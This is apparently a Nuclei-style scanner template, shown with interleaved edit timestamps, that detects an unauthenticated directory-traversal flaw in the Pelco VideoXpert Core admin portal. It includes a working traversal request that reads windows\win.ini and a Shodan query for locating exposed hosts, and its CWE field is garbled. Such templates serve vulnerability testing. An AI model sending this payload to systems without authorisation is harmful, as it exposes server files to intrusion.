2022-09-12 08:33:36 +00:00
id : videoxpert-lfi
2022-09-10 10:33:14 +00:00
info :
2023-01-16 17:41:15 +00:00
name : Schneider Electric Pelco VideoXpert Core Admin Portal - Local File Inclusion
2022-09-10 10:33:14 +00:00
author : 0x_akoko
severity : high
2023-01-16 17:41:15 +00:00
description : Schneider Electric Pelco VideoXpert Core Admin Portal suffers from local file inclusion. Exploiting this issue will allow an unauthenticated attacker to view arbitrary files within the context of the web server.
2022-09-12 08:33:36 +00:00
reference :
- https://packetstormsecurity.com/files/143317/Schneider-Electric-Pelco-VideoXpert-Core-Admin-Portal-Directory-Traversal.html
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5419.php
2023-01-16 17:41:15 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22Directory-Traversal.html
2022-09-12 08:33:36 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2022-09-12 08:33:36 +00:00
shodan-query : title:"VideoXpert"
2022-09-12 11:34:28 +00:00
tags : schneider,pelco,packetstorm,lfi,videoxpert
2022-09-10 10:33:14 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-10 10:33:14 +00:00
- method : GET
path :
2022-09-12 08:28:44 +00:00
- '{{BaseURL}}/portal//..\\\..\\\..\\\..\\\windows\win.ini'
2022-09-10 10:33:14 +00:00
2022-09-12 09:50:52 +00:00
matchers-condition : and
2022-09-10 10:33:14 +00:00
matchers :
- type : word
2022-09-12 09:50:52 +00:00
part : body
2022-09-10 10:33:14 +00:00
words :
2022-09-12 08:28:44 +00:00
- 'bit app support'
- 'fonts'
- 'extensions'
2022-09-10 10:33:14 +00:00
condition : and
2022-09-12 09:50:52 +00:00
- type : status
status :
- 200
2023-01-16 17:41:15 +00:00
# Enhanced by mp on 2023/01/15
